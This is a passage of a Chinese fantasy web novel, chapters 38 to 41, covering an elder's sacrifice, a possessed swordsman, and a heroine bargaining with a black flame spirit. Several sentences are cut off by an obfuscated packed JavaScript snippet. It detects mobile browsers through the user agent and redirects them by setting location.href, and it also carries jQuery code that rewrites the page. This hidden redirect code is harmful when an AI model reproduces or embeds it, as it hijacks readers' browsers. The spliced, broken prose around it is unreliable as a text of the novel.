从空中俯瞰,这雪花的西北一角已被左右两侧成群结队的黑点侵占。 但片刻后,被一道极细的赤金之光贯穿。 “芳长老!”凌栾面色大变,想也不想,立刻提气跟上,赤练迎风招展,如同用血染就。 “凌栾!”华谏大喊,抬手止住其他弟子,促声道,“你们继续撤退,不必跟来!”不等说完,扬扇追了上去。 那道赤金之光锐极,也利极,如同离弦之箭的尾羽,将兽群撕得四分五裂,所过之处,掀起狂风,呼啸刮过战场,忽冷忽热。 “唰——” 赤练齐齐缠上龟背的骨刺,猛地掰断,再捅入龟壳的缝隙中,鳄龟终于在一阵可怖的颤动后断了气息,沉重坠地,压出蛛网般的裂纹。 比之前更加棘手了,能留到现在的混元兽,数量虽少,却比那些被金浪净化的强过许多。凌栾喘了口气,脚下踉跄一步,目光陡转,对上华谏惊恐的眼神—— 一只布满鱼鳞的利爪从上方进入视野,是足够捏碎她头颅的大小。 更远处,那株小树暴涨数尺,疯狂抽枝散叶,但已经来不及了。 一寸又一寸,仿佛故意折磨人般盖头压下。凌栾闻到爪上浓烈的血腥气,似乎刚从同伴的身体中抽出,犹带温热。 劲风擦脸而过,一阵生疼,逼得人闭上眼。随后听得轰然一声巨响,乍起的惊呼声里,似人非人的哭嚎戛然而止。 凌栾睁开眼。 尘雾被风吹散,一柄绛色重锤赫然现形,锤身绘有缃色八达晕纹,朱红锤柄的方胜纹在岁月中被掌心磨平棱角,显出风霜的圆润。 而锤下鱼鳞的齑粉波光粼粼,犹如清晨的湖面,映照出那张扭曲的鲛人面。 “师父!”凌栾欣喜地叫道。 石磊沉着脸,擎起重锤,抡起阵阵锤风,砸开周遭不知死活扑上来的混元兽。震慑住这一片后,他望着如入无人之境的赤金之光,喃喃道:“终于还是走到这一步了……” “师父,你快去救救芳长老!”凌栾急忙道,“方才我怎么拦都没用。” “救不了。”石磊摇头。 “为什么?”凌栾睁大眼,“您可是首席长老!当年是您救了芳长老……” “是首席长老救了我。”石磊叹息,“当年若非我闯入阴山,芳芪早已和兽潮同归于尽。” “可是……”凌栾咬着嘴唇,终于明白祭堂之中,为何是芳芪的画像排在最前——原来她才是真正的战力第一。 “原本,你的师父该是芳芪。”石磊轻声道,“你应该也有所察觉,我教与你的修炼法门,并非我所修炼的重器一道,那是你娘托付给芳芪的,而芳芪又托付给了我。” “芳芪与你娘,是生死相交的挚友。”石磊一顿,“她曾说过,你与你娘长得很像,所以她无法面对你,故托付我来培养你。” 因此哪怕在华宗再飞扬跋扈,背后都会有芳芪替你收拾烂摊子。石磊注视着面前自己一手培养长大的孩子,不忍心再说下去。 湿意淌过面颊,凌栾忽然记起在镜湖闯阵前,芳芪那个意味不明的眼神。那时她以为是对华宗弟子的担忧,而现在她终于懂得那眼神的含义。 “所以当年……”凌栾惨笑道,“我娘是跟着她进了阴山?” 片刻后,石磊沉声道,“芳芪一直想为你娘报仇。” “那是我的事!”凌栾用伤痕累累的手背擦去眼泪,恶狠狠道,“我不许任何人插手!”元力激荡而出。 “凌栾!”华谏及时出手,命格显化,树影亮起,枝叶相互缠绕,结成碧绿色的天罗地网。 “走开!”凌栾朝石磊和华谏各打出一掌,趁二人闪避,赤练迅速绕过罗网,直奔那光而去。 “凌栾!”华谏欲追,被石磊拦下,“你快带着弟子们离开这里!” “那凌栾呢?”华谏急道,“不能丢下她!” “凌栾交给我。”石磊正色道,“我不会丢下她的,我是她师父。” “……好!”华谏深深望了一眼凌栾离去的方向,转身离去,汇入队伍之中,替弟子们开路。 被一队胆刺包围,赤金之光倏然绽放,削去集结的尖刺,正要破开缺口,忽然停下。漫天飞扬的碎屑里,芳芪回首,“是你?” “你……的眼……”凌栾震撼到无以复加。 那双眼眸彻底变为浑浊的红色,一如之前见过千百次的,分明是混元兽才会出现的征兆。 “吓到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239299|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”芳芪笑了笑,“那快回去吧。” “我不回去!”赤练缠上芳芪手腕,凌栾攥紧另一端,声硬如铁,“我来阴山,就是为了替我娘报仇!” “胡闹!”石磊追了上来。眨眼间,重锤落地,虎虎生风,将胆刺一个个砸成一滩肉泥。 芳芪淡淡道,“石磊,带凌栾回去。” “那你呢?”石磊问。 “我活不久了。”芳芪缓缓道。她撩开额发,清晰地展示那对收窄成一线的漆黑瞳孔——她正在超脱人的范畴。 “你被侵蚀了?”石磊失声,“什么时候……” “很久之前了。”芳芪笑道,“多亏了那些血,我才能苟活至今。”她抬手,自海中抽出一股洁净的水流,化解赤练的攻击,将凌栾包围,结成水茧。 但在水膜彻底合上前,凌栾松开手,赤练弹射而出,缠在芳芪腰间。隔着一层水壁,她死死盯着芳芪。 “好了,别哭了。”芳芪无奈一笑,内壁水膜波动起来,化出一只流动的手,轻轻拭去凌栾脸上的泪水。她退后一步,示意道:“石磊。” “记得好好修炼。”石磊忽然没头没脑地说出一句,挥起重锤,棕黄色的元力倾泄而出,保护那颗水茧在冲势之下安然无恙地飞向远方。 风声尖锐如啸,二人化作小点,终不可见。那只水化作的手慢慢消散,再也握不住,凌栾低低怮哭起来,“娘……芳长老……” 眼泪滚过脸颊,一颗颗飞扬起来,融入水球之中,仿佛回归温暖的母体。 兽群如浪潮般再度合拢了,围得水泄不通。 “你还不走?”芳芪问。 石磊拍了拍肚腩,笑笑,“我走不动咯,不如留下来替你护法。” 芳芪笑笑,不再多话。她高声吟唱起默念多时的咒语,海水倒灌,汇聚成漩涡,冲天而起,水柱扭曲变形,搭成螺旋的台阶。 她拾级而上,站在最后的顶端,打量供台上尘封已久的兵器—— 那是一人高的弓矢。 通体透明,净如琉璃,却遍生寒气,仿佛由千万年不化的坚冰制成,美中不足的是弓身遍布裂痕,仿佛一触即碎。 腰间一松,一缕红游移出来,缠上弓身。 芳芪一一拂过那些被补足的缺漏,指腹下柔软的触感在寒气中逐渐僵硬,让她想起旧友在自己怀中逝去的场景。 “好孩子。”芳芪轻声说。 “哗啦——” 水阶飞散,在滔天寒气中凝成千万根箭矢。甲胄微微亮起,金光脱体而出,尽数融入箭中,箭镞泛起明月的色泽。 “来啊!” 石磊在兽群中奔袭,吸引所有注意。他咆哮出声,尽情挥洒元力,岸边海沙凝聚成墙,阻挡妄图逃跑的混元兽。 “怎么回事.....”他蓦地一怔。 一道水流劈开了他自己铸造的高墙,打通向外的道路后,趁人不备,立刻将人包住。 石磊回过神来,狠狠拍打水球,“芳芪!”见尝试无果,他开始抡锤,试图破开水球,“要走一起走!” “照顾好凌栾。”芳芪低头,报以笑容。 内壁激射出数道水流,将石磊牢牢禁锢。水球缓缓滚动起来,越来越快,翻山越岭,追寻凌栾的方向而去。 目送石磊远去,芳芪张开双臂,如同飞蛾扑火,落入供台之中,化作一道极细的彩虹,联结弓矢的上下弓槽。 “铮——” 仿佛在宴会上拨动的第一根琴弦,彼时,万籁俱寂。 而此时,万箭齐发,哀嚎声久久回荡在天地间。 虚幻的人影坐在供台之上,注视碎冰漫天飞舞,折射出无数短暂的世界。蠕动的兽骸,折断的刀剑,天边高悬的红月。 于是又回到当年,蛟龙破云而出,那人一把推开自己,背影决绝。 记忆里,那轮红月蜕变为温暖的金黄色。芳芪情不自禁地笑了起来,眼前正有飘渺人影向她走来,似乎又邀她回到举杯对饮,纵声歌唱的岁月。 于是她尽情展开双臂,投入那人怀抱。 “我回来啦。” 39. 出世 “这就是你想让我付出的代价?”阿也低声道。 透明的火焰化作绳索,束缚她的四肢,将人高高吊在树梢之上,无所凭依,也无法借力挣脱。 “我是为了你好。”黑焰恨铁不成钢道,“看看你现在的样子。” 火焰涌动,在面前幻化成一面镜子,映出清晰的自己。阿也一怔,她快认不出华烨这张脸了。 鬓发凌乱,眼里布满血丝,脸侧的伤痕沁出血珠,有的是被石子剐蹭,有的是被荆棘割伤,都是一刻钟前和黑焰搏斗留下的。 一刻钟前,正是芳芪和石磊合力护送凌栾之时。 “你救不了她。”黑焰宣判了芳芪的结局,“她被瘴气侵蚀太久了。” “所以你让我眼睁睁看着芳芪送命?”阿也质问。 “那是她自己选的路。”不知为何,黑焰的语气听起来有些悲悯。 沉默半晌,阿也放弃挣扎,闷声道:“放开我。” “冷静。”像是预料到她会做什么,一团火焰被强行塞进阿也口中,避免她以咬舌威胁。黑焰淡淡道:“还没到你出手的时候。” 听出它话中的深意,阿也痛苦地闭上眼,黑焰在提醒她,还会有更多的人因此送命。 是她大意了。 在打开那扇门之后,她能够清醒地使用黑焰的能力,而与此同时,黑焰也通过清醒的她,控制了华烨的身体。 随着金黄的满月撞击冰原,气势摧枯拉朽。 于是穆州这片雪花的两角崩裂了,缓缓沉入无妄海中,白浪滔天,将血尸席卷,送上高空,又降下红色的雨。 “来了。”黑焰语气一凛。 东南方位爆发出一团浓稠的黑雾,遮蔽了那道金色光柱,喷涌着,翻滚着,仿佛叫嚣的乌云,再度爬满了穆州的天幕。 随之而来的是一阵细密的咔嚓声,似乎有什么正在啃噬硬质食物,仿佛秃鹫啄骨。 忽然间,一切都静止了。一具畸形的骸骨拨雾而出,仿佛沉眠多年后醒来,尽情地在狂风闪电中舒展身姿。 “那是……”阿也忘记了呼吸。 狭窄偏长的头颅,反弓的前肢,颈、胸、腰被折成错位的三节,末端伸出粗壮的尾骨,足有两倍半身的长度,与瘦小的上身极度不协调,仿佛拼接而成。 骸骨在天地之间无助地徘徊。 电光乍闪,照亮了四面八方汇聚而来的黑气。它们化作古老的文字,与岩洞中那尊石碑的铭文相似,同样的晦涩,但印刻在骸骨的肋骨之上,却显出异常的恶毒,仿佛某种噬心的诅咒。 风刮过细小骨缝,发出尖锐哨声,仿佛无家可归的厉鬼,发出沉痛的哭嚎。 “相信你已经猜出来了吧。”黑焰平静道,“混元兽真正的来历。” “当年陨星天降……混元兽倾巢而出,仅仅十日,穆州覆灭。” 这是混元兽的来历。 胎血淬炼卓清歌时,她的体表浮现出混元虺靛蓝色的棱形花纹,眼中显出赤色的竖直瞳孔,那是混元兽的特征。 “……但归根结底,无论是陨星抑或混元兽,那黑气才是造成这一切的根源。” 云弈的话在脑海中回响。 揭开沉重的遮羞布,阿也终于窥见真相的一角。难怪混元兽不食生肉,会为了繁衍集体迁徙,以及所谓的覆灭…… 嘴中的火焰消散了,然而像被掐住喉口,阿也艰难道,“混元兽其实是……是被黑气感染的穆州子民。” 胎血不过是黑气的附加产物。 所以,混元兽是杀不完的。只要黑气还存在一天,杀伐就永无止境,直至五州被铁蹄踏遍,完全沦陷—— 这才是公子闲想要的,真正的……覆灭。 “猜对啦。”黑焰轻声道,“那再猜一猜,它在找什么?” 骸骨对天长啸,掀起无声的气浪,所过之处,山石崩裂如摧,巨木成片栽倒,仿佛被镰刀无情收割的纤细麦草。 它时而升空,时而降落,细细嗅遍每一处气息,的确像是在寻找什么。 于是云弈的声音再度在耳畔响起,阿也死死盯住黑焰,咬紧牙关,一个字一个字地吐出来,“我能杀他。” 迟来的气浪呼啸而来,混杂着尖利的断木与碎裂的山石,统统被火焰阻挡。燃烧时澎湃热力扭曲空气,阿也听到远方传来似有若无的哭声。 黑焰大笑出声,甚是讥诮。 阿也用力地闭了闭眼,慢慢低下头去,“你想怎么样?” “想好了吗?”不同于往日轻飘飘的语气,黑焰这一声如重锤砸在心间,四分五裂。 阿也张了张口,缓缓道:“你吃掉我,也能控制华烨的身体。” 半晌,没有回应,但沉寂被突如其来的交战声打破,铿锵有力。 阿也猛地抬头,循声看去。高空之中,白色的人影与灰白的骨骸迅速重合又分开,像两片纠缠不休的雪花。 那是谁? 阿也眯起眼。 正是碰撞的刹那,余波荡开附近的乌云,阳光重返天地间,战局纤毫毕现。 那人闪身躲开抽来的骨尾,左手侧擎龟背铜盾,迎上锋利的骨爪,右手高举银漆长矛,直刺脆弱的骨节,留下一连串火花。 错身的瞬间,盾面整齐的垂叶蝉纹被利爪撕裂,劲风掀开玉冠,黑发肆意飞扬—— “席子瑞!” 阿也听见凌栾声嘶力竭的呼喊。 席子瑞被骨爪甩出,倒飞数里,方止住身形,擦去唇边血迹,声音铮然,在天地中回响:“再来!” 这才是……真正的席子瑞。阿也动容,远处上下翻飞的身影勾起那一日的回忆,他徒手掷出长矛,舍身与混元虎搏斗,不死不休。 云中声响轰隆,如惊雷阵阵。 凭借灵活的身形,席子瑞占据上风,打得骸骨伤痕累累,但好景不长,随着时间流逝,他的动作越发迟缓,失误的次数越来越多,竟有一次叫利爪擦脸而过,险些被拦喉斩断。 而他所面对的,是一具彻头彻尾的骸骨,既不惧受伤,更不会后退,每一次挥尾都如最初那样锋利,如电闪雷鸣。 没有五感么?阿也皱起眉,这样拖下去…… 忽然间,金色光柱再度升空,只是更加细瘦暗淡,因此衬得那一点红格外醒目——凌栾。 即便失去赤练,她依靠自己牢牢攀附住光柱,背后一只白喙鸾鸟早已遍体鳞伤,但沐浴金光而涅槃重生,新羽退去青色,逐渐斑斓。 光柱登顶,驱逐附近的乌云。 鸾鸟振翅起飞,尽情舒展身姿,仰头长啸,鸣叫高雅悦耳,随后轻巧落下,一对三趾爪扣住金光,用赤喙雕琢羽毛,仿佛凰栖金树。 凌栾看准时机,腾空而起。 命格骤然消散,在领口显化为一圈七彩翎羽,如同霞帔。背后双翅大展,她直冲骸骨而去,接住了被击落的席子瑞,俯身查看他的伤势。 被划伤的翅膀在她背后微微颤动,一片翎羽自领口打旋飘落。席子瑞闭上眼,低声问,“你来干什么?” “还你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239300|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一命。”凌栾冷冷回答。 但那轻羽落在眉间,恰似一个吻。席子瑞笑了笑,道:“好。” 二人对视一眼,互相点了点头。 双翅掀起飓风,吸引来的气流搅散乌云,干扰视线。二人身形纠结,仿佛一对在花丛中相依相偎的灵蝶,迎风起舞,制造出憧憧迷影。 随后,一点矛尖破流而出,璀璨如星,直刺对面肋骨,矛尖在翻涌的黑气中艰难前移一寸。 骸骨无声嘶鸣,状似痛苦。长尾掀起数十道气刃,包围始作俑者,又被双翅悉数拦下。 “嗬啊——” 席子瑞愤怒咆哮,额头青筋暴起,弃盾不顾。凌栾见状,立即掉转身形。二人合力把住矛身,共同旋拧,生生挑飞半节肋骨。 几乎是同时,长尾欺身而下—— 血光飞溅。 “不要!” 漫天飞扬的轻羽中,撕心裂肺的呐喊被疾风吹散。 黑气迅速涌动,补上那一节缺损的肋骨。骸骨抓住席子瑞,盘旋着飞上高空,几不可见,而那片红如同断线的纸筝,飘摇而落。 乌云再度遮蔽天幕。 尝到一口血腥,阿也方意识到自己咬破了嘴唇。她慢慢舔舐伤口,垂下眼:“你到底想怎么样?” 黑焰没有回答,但一片雪花自眼前飘过,针状六角晶莹剔透,薄如蝉翼—— 下雪了?很快,阿也意识到不对,她居然能看清如此幽微的结构,不仅如此,包括刚才在激烈的战斗中,相隔数百里,她也能听清二人的对话。 火焰依旧纠缠四肢不放,像汲取养分的菟丝子,但落入她眼底,不再是拘束,而是某种证明——证明黑焰正在改造这副身体。 不过刹那,天地间飘满雪花,有人乘着骸骨缓缓降落。与此同时,头顶乌云悄无声息地碎裂了,一切骤然清晰。 长矛贯穿了整颗颅骨,本该是极度血腥的画面,但好在骸骨没有血肉,在雪虐风饕中演变为一种令人不忍直面的凄美—— 当席子瑞试图拔出兵器时,骨渣簌簌掉落,像是破碎的冰棱,一如长尾从他腰腹抽出时,喷出的血花。 骸骨扬起利爪,劲风袭面,席子瑞只得弃矛避开。血流过捂住伤口的指缝,染红了整个衣摆。 “既然凌栾已去,我意已决。” 阿也听见席子瑞沉痛的低语,仿佛用一颗颗玉珠砸地,粉身碎骨也不足惜。 他磕磕绊绊地念出晦涩的咒语。落在发间的雪花融化了,化作一抹白侵染上发尾,一寸寸向鬓发移动,仿佛寄生的异物。 紧接着,席子瑞动了起来,一拳一脚皆有种奇异的迟滞感,像齿轮生锈,咬合时发出咔咔响声,但几息下来,已是十分流畅。 等到雪白离鬓发一寸,席子瑞像是脱胎换骨,彻底变了个人。 浩瀚的气息节节攀升,他随意招手,长矛剧烈震动,惹得骸骨好一阵挣扎,最终脱体而出,回到主人手中。 席子瑞一手横亘银矛,另一手架在腕间,摆出起手式。 但那根本不是用矛的姿势。阿也看着他挥矛斩切,挑刺劈砍,熟练的架势,就像是……使用一把剑。 宛如被火焰燎伤,四肢忽而发热滚烫,阿也收回注意力,方察觉识海之中的异动。 先是幽幽涟漪,然后一点水花扬起来,越扬越高,翻涌成滔天巨浪,似要与大海同归于尽,溅起的水滴像是倾盆暴雨,泼洒无数情绪。 阿也终于听见黑焰开口。 “杀了他,我就帮你。” 40. 祭品 “那东西消耗的是他的命。”黑焰冷笑,“打不过的,他只是个祭品。” 阿也闻言一僵。 果不其然,公子闲轻而易举地化解了骸骨的一切攻击,却并未显露半分杀意,更像一种游刃有余的戏弄,仿佛逗一逗笼中金丝雀解闷,连发间雪白也是如此,忽退忽进,似乎以此作乐。 等到雪白完全侵占鬓发,席子瑞......还能回来么?阿也皱眉。 仿佛听见她的心声,禁锢四肢的火焰陡然消散。阿也下意识打了个滚化解落地的冲击力,而下一刻,发现自己不受控制地站了起来。 “走吧。”黑焰回归识海,声冷如冰,“杀了他。” 杀席子瑞?开什么玩笑!阿也努力抢夺身体的控制权,踉跄行进间,一只混元罴冲破路旁树障,兴奋地朝自己冲来,嘴部一圈白色毛发已全然变红,仿佛饱餐过后,染尽血腥。 对上那双浑浊的赤瞳,依稀可辨人眼的形状,阿也心头一颤,预备抽剑的手一滞,等到混元罴挥起巨爪,腥臭扑鼻,只听得黑焰轻嗤一声。 指尖哆哆嗦嗦地抬起,颤抖着划过。 一道无形火刃激射而出,将混元罴斩为两节,那圈染了血的嘴毛在余焰中燃烧,焦黑的脏器滚落一地,沾满草木灰,彰显暴戾。 几乎是瞬间,阿也明白黑焰改造这副身体的用意。她不再抗拒,转而尝试接纳黑焰,否则华烨的肉身就会落入和眼前这只混元罴一样的下场——尸骨无存。 “师姐,再坚持一下......” 云欢吸了吸鼻子,忍住哭腔,颤抖地取出一个又一个药瓶,将剩余丹药全部倒进水囊,用力晃了晃,随即扶起凌栾,小心翼翼地喂给她,“慢些喝......” 一口水尚未吞下,被更多的红推搡出来。凌栾呛咳几声,“我......没事。”她勉强咽下一口,目光停在云欢手腕的伤痂上,“你的手......” “我没事,师姐你也会没事的。”云欢挤出笑容,将水囊递得更近,“再喝一些,再坚持一下!” 水液滑过唇角,凌栾微不可察地偏开头,努力提起一口气,叮嘱道:“节,节省些......” “你答应过要陪我去看明年的承水环烟的!”云欢死死咬住嘴唇,“再喝一点好不好?求你,求你了......” 但那些话飘进凌栾耳里,变作一团无意义的嗡嗡声。瞳仁渐渐涣散,意识如同那些四散的羽毛,被风裹挟着,向远方飞去。 原来命格被毁这么......痛啊。她恍惚地想,慢慢闭上眼。 黑暗如浪潮汹涌而来,寒冷彻骨,但在被吞没前,耳畔忽然响起一声惊叫,因太过尖锐高亢,透过混沌仍然语意清晰—— “小烨!” 不等想明白,下颌一痛。凌栾被一股无法抗拒的大力钳住,被迫张开嘴,吞咽那些说不出味道的液体,尝到隐隐的甜腥,分不清是自己的血,还是别的什么东西。 “唔......”她试图睁开眼,但无能为力。 液体接连不断地流进腹中,仿佛温过的烈酒,暖意升腾起来,融入肺腑,却是宁静而平和的。 那些羽毛......被人抓住了。凌栾胡乱地想着,伴着温暖沉沉睡去。 “小烨?” 云欢跌坐在地,被攥过的手腕仍然发麻,但她无暇顾及,愣愣看向“阿也”,掌心那道刚切开的、深可见骨的伤口正在愈合,“你......” “阿也”塞好水囊,径直扔到云欢脚下,转身就走。 云欢捡起水囊,连忙从地上爬起来,“你要去哪?这里很危险,还是回镜湖那边吧?大家都守在......” 注意到她衣摆上的新鲜血迹,云欢脚步一顿,又亦步亦趋地跟上来,直到“阿也”快要离开凌栾身边,才担忧地开口:“小烨?你怎么了?” “阿也”转身,歪头看她,字在舌尖走了一圈,阿也察觉黑焰本想说滚,但不知为何,盯着云欢看了半晌,忽地勾唇一笑,欺身上前,压低声音慢慢道,“让......开。” 这一声当即在云欢脑中炸开,和地道中那人喑哑的声线重合。她跌跌撞撞后退几步,神色惊疑不定,“你,你不是小烨!你是谁?” “阿也”意味深长地看了她一眼,抬脚迈进林中。 身影在林间急速穿行,阿也坚持不懈地追问,“你对她做了什么?” 半晌,黑焰忽然问,“你很在意她?” “她是我朋友。”阿也想也不想地回答。 “哦?是你的……”黑焰拖长语调,“还是华烨的?” 风声呼啸,阿也沉默以对,黑焰轻嗤一声,不再逼问。 片刻后,镜湖的轮廓若隐若现。“阿也”扯断碍眼的枝叶,审视眼前的镜湖,仿佛暴风肆虐过境,一地狼藉。 隔着朦胧雾气,对岸火光飘摇,是云欢口中安营扎寨的幸存者,看分布,不算稀薄。 阿也隐约听到“阿也”松了口气,心下有些怪异,黑焰……似乎没有想象的那样暴戾成性? 一个清脆的响指。 在众人的惊呼声中,湖面的冰层骤然龟裂、下沉,水花翻涌,有一物激射而出,被“阿也”一把抓住。 那是什么?阿也随她缓缓张开的五指睁大了眼——那是半节的赤红晶柱,突出的四棱被岁月磨得圆润。 映入眼底的刹那,脑海中闪过那些雪与火的景象,阿也头痛欲裂,这些都是……什么? “咔。” 不等她摆脱那些幻象,“阿也”徒手捏碎了晶柱,目视那些碎片升空,发红、融化,勾勒出隐约的形状。 刚平息的镜湖再度沸腾,水流汇聚成漩涡,吐出一股股鲜红的水流,仿佛一根根红线,跟随碎片的指引,慢慢编织成…… 一把剑? 这模样似乎在哪见过。阿也皱眉,但随着深入记忆,疼痛愈发剧烈,仿佛剜心钻骨,连带着“阿也”眼神一颤。 先打完再说,以免影响发挥。阿也压下心头疑惑,见这柄剑薄如蝉翼,不由道,“别玩脱了。” “阿也”轻哼一声,红剑顿时结满霜花,寸寸凝实,显出暗银的坚硬质地,泛起森寒冷光。 她从容地握上剑柄,仿佛握住权柄,气质陡变,整个人像是脱胎换骨,稚嫩的身躯生出俯瞰天下万物的威势,令阿也啧啧称奇。 借助气流登空,“阿也”迎面对上公子闲。 见黑焰离开前不忘设下结界,阿也眨了下眼,忽然想到,其实它本可以当着云欢的面做这一切,而不必……绕这么远的路。 “好久不见。” 公子闲微微一笑,亲昵地抚摸骸骨的头,像是奖赏爱宠,但被它不留情面地挣脱了。 “怎么都不听话?罢了。”他无奈地摇头,拍响手掌。长矛自手中滑脱,直坠而下,仿佛一颗银色流星,坠毁在山崖间。 嗡鸣声中,骸骨震颤起来。藏在肋骨间的黑气一拥而上,将骨架拆得零零碎碎,以长尾为剑身,以颅骨做剑柄,拼凑出一把……骨剑。 瘦小的前肢点缀在剑鄂上,第五趾缺失一节,像是被摘去的花瓣。 阿也听见自己的声音,一字一顿,并非为了怀念,而是磨牙吮血,“好久……不见。” 眨眼间,两人如陨星对撞,剑风激荡。一次更甚一次,交接时火星扎眼,声响铿锵有力,而千里之内,乌云逃窜,雷电噤声—— 令阿也一时分不清黑焰是想保护这里,还是毁灭这里了。 但不得不承认,曾受限于这副躯体而无法施展的剑技,黑焰都一一做到了,并且得心应手,仿佛剑已化作身体的延伸,随意而行。 远在自己之上。阿也心想,至少她与公子闲交战时,在后者放水的情况下勉强打成平手,而黑焰面对他的杀招,却是堪称压制。 二人错身,一触即分。 十息之后,气浪波及镜湖,尽管被结界拦下大半,但余波摧枯拉朽,清空附近所有障碍,留下光秃秃的一片。 “啧。” “阿也”曲起指节,叩击剑身,碎渣簌簌抖落,剑刃露出细小的豁口。 这是唯一的弱势,在于兵器的品质。 指腹慢慢抚过刃尖,微微一侧,于是颗颗血珠渗出来,填补缺漏。“阿也”一手横亘红剑,另一手架在腕间,淡淡道:“一招。” 公子闲含笑应允,摆出起手式。 意识到二人几乎是一样的姿势,阿也皱眉,黑焰果然认识公子闲,甚至……不只是认识。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随着这一声,阿也再度掌控身体。失去风流辅助,她艰难地打出元力改变方向,终于赶在坠地前抓住席子瑞的衣领,侧身抽剑,插入崖壁间,泄去冲势。 剑在山石的锉磨下彻底卷刃,已然报废。阿也放平席子瑞,抽出另一把。 听见声响,席子瑞眉眼一动,“谁......”他勉强睁开眼,但什么也不曾看见,唯有沉沉黑暗。 “凌栾?对不起……”席子瑞张了张口,不住地咳嗽,胸膛剧烈起伏,血喷出来,溅了阿也一身。 “她没事。”阿也低声说。 席子瑞安静下来,绷紧的身体慢慢放松,并不知有剑尖抵住心口,微微颤抖。 她该相信黑焰吗?那双赤瞳残留在脑海里,与无数混元兽的眼睛重合。阿也握紧剑柄,它如此暴戾……但其实没有伤害过任何人。 忽然间,席子瑞挣扎起来,发尾泛起白光,“快走……” 阿也咬咬牙,送进袖剑。血喷涌而出,染红了冰冷的银白。 席子瑞不再动作,气息渐弱,但三息之后,如死灰复燃,心跳愈发强劲。阿也如释重负地松开剑柄,已是满手冷汗。 而发间雪白终于褪尽了,仿佛青烟,慢慢升腾起来,一缕又一缕,汇聚成一个更淡的虚影。 有长风吹过,枝叶抖擞。 “暂且别过。”虚影笑道。 这一声分明近在咫尺,又像从遥远的天外传来,犹如一支穿云箭,刺破混沌,射中她,将她送回那片荒原。 终年不息的狂风卷起冰屑,大地在震颤中龟裂,千万均雪倾落,将她裹挟,汇入巨大的裂缝中。 眼前的天空被晚霞灼烧得发红,背后传来无穷无尽的海浪声。她下意识仰头,有人站在山巅俯瞰自己,似是在窃笑。 有什么燃烧起来,无边无际。天地回应她的召唤,从天际降下紫雷,摧毁高山,掀起海啸,击落那人。 不够,还不够…… 在跌入冰海前,她用尽全力地伸出手,发誓要将那人彻底碾碎——上天入地,绝不姑息! 视野骤然回归,阿也掷出袖剑。劲风击溃虚影,连带着领口的金丝剑纹一起。 但那种怒火经久不息,愈久弥新。 41. 天裂 天……破了。 长天仿佛一张柔软的棉布,被利器划开交错的口子,粘稠的、漆黑的液体从中流淌下来,汇入这世间,腾起茫茫黑气,遮天蔽日。 冰蛇钻出海面,相互纠缠,仿佛攀树的藤蔓,逆流而上,汲取黑液里的养分,尽情开枝散叶,爬入天幕之中,将裂缝撑得更开。 黑液倾泻如注,仿佛漆黑的瀑布。 蔓延开来的腐臭味中,一道支流洗过插在崖底的骨刃,仿佛一只大手将其细细拆解,重新组为骸骨,黑气浸入骨髓,连骨质也泛起乌色。 趁着间隙,阿也避开巡逻的弟子,将席子瑞带回结界后,重回山崖之巅,眺望四面八方降下的黑液,如一根根高耸的立柱,构成囚笼,将整个穆州关入其中,牢不可破。 “怎么回事?公子闲不是……”阿也转向识海深处,身形缩至原来一半大小的黑焰,不由一顿,“你……” “那不过是个分身。”黑焰冷笑,声音却虚弱至极。与虚影纠缠几乎耗尽它的全部,火焰犹如一缕飘渺轻烟,将要散尽。 如果不是她走神,黑焰也不会被虚影拽出识海,阿也愧疚道,“对不起……” “省省吧。”黑焰话锋一转,低低笑了起来,“穆州,要亡了。” 仿佛印证它的话语,骸骨振翅起飞,向大地喷出幽蓝的气息,所过之处,草木霜冻,流落在结界之外的修士躲避不及,被冻结在原地,眼睁睁看着冰刺贯穿胸腔,血淋淋地展示自己的内脏。 “你刚刚不是这样说的。”心陡然下沉,阿也艰难开口,“你说……” “是。我说杀了席子瑞,就帮你。”黑焰坦然道,“可我只能救你。” “但你要的不只是这些,对吧?” 那些惨叫在耳边回响,久久不散。 “那你要什么?”阿也低声道,“除了华烨残魂,我都可以给你。” “可你还有什么呢?”黑焰问。 又是这种悲悯的语气,仿佛早已看透结局。阿也五指紧握成拳,掐进肉中,“我……” 地位、身份……远到华宗侧峰的那座小楼,一枯一繁荣的也桃,近到这一身蔽体的衣衫,就连手中的袖剑,都是华烨的——她其实什么也没有。 不过以一人残魂换取天下安宁,听起来真是再划算不过的买卖了。 可是……阿也松开手,流淌的火焰抚平了掌心的掐痕,在指尖萦绕,织成一张镜面。从中,她与华烨对视,那张面容尚未长开,是连累累伤痕也无法遮掩的稚嫩。 可是她借用这副身体生活了三年,受过风霜雨雪,经历过春夏秋冬,却要亲手将人送上绝路—— 不甘心。 哪怕公子闲戳破虚伪表象,告诉她华重楼将自己送往阴山是早有预谋,她依旧不甘心。 才十六岁啊……华烨本该有大好人生。 下雨了,颗颗水珠打在眉间、鼻尖,顺流而下,划过颌角,滴滴答答。 